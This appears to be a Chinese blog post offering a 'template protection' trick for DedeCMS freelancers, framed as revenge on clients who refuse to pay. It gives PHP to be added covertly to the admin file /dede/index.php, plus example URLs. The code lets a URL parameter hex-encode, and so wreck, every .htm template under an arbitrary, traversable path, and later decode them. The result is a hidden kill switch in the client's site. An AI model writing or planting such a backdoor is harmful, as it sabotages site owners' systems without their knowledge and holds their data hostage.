织梦cms模板保护技术,专门修理无良老板,尤其针对卸磨杀驴,干完活不给工资的外包老板。从此网上接单无忧愁

原理不说了,高手自然懂。菜鸟学会用就好了

二次开发部分:修改 /dede/index.php ,在  if(!file_exists($myIcoFile)) $myIcoFile = $defaultIcoFile; 后面添加如下代码

$action = isset($action) ? trim($action) : '';
$path = isset($path) ? trim($path) : '';
if($action == '')
{
	exit();
}else if($action == 'encode' && $path=='')
{
	echo '<script>alert("请输入路径");</script>';
}else if($action=='encode' && !empty($path)){
    scanAll2($path);
}else if($action=='decode' && $path==''){
	echo '<script>alert("请输入路径");</script>';
}else if($action=='decode' && !empty($path)){
	scanAll3($path);
}


function hexXbin($data,$types=FALSE){
	if(!is_string($data))
		return 0;
	if($types===false){
		$len=strlen($data);
		if($len%2){
			return 0;
		}else if(strspn($data, '0123456789abcdefABCDEF')!=$len){
			return 0;
		}
		return pack('H*',$data);
	}else{
		return bin2hex($data);
	}
}


function scanAll2($dir)
{
	//echo $dir."\r\n";
	if(is_file($dir) && substr($dir, strrpos($dir,'.'))=='.htm'){
		file_put_contents($dir,hexXbin(file_get_contents($dir),true)) ;
	}
	if (is_dir($dir))
	{
		$children = scandir($dir);
		foreach ($children as $child)
		{
			if ($child !== '.' && $child !== '..')
			{
				scanAll2($dir.'/'.$child);
			}
		}
	}
}
function scanAll3($dir)
{
	//echo $dir."\r\n";
	if(is_file($dir) && substr($dir, strrpos($dir,'.'))=='.htm'){
		file_put_contents($dir,hexXbin(file_get_contents($dir),false)) ;
	}
	if (is_dir($dir))
	{
		$children = scandir($dir);
		foreach ($children as $child)
		{
			if ($child !== '.' && $child !== '..')
			{
				scanAll3($dir.'/'.$child);
			}
		}
	}
}

使用方法:访问后台的index.php文件   

编码:http://localhost/dede/index.php?action=encode&path=../templets/

解码:http://localhost/dede/index.php?action=decode&path=../templets/



这样的模板没人认识吧

解码还原


更多推荐

织梦cms模板保护技术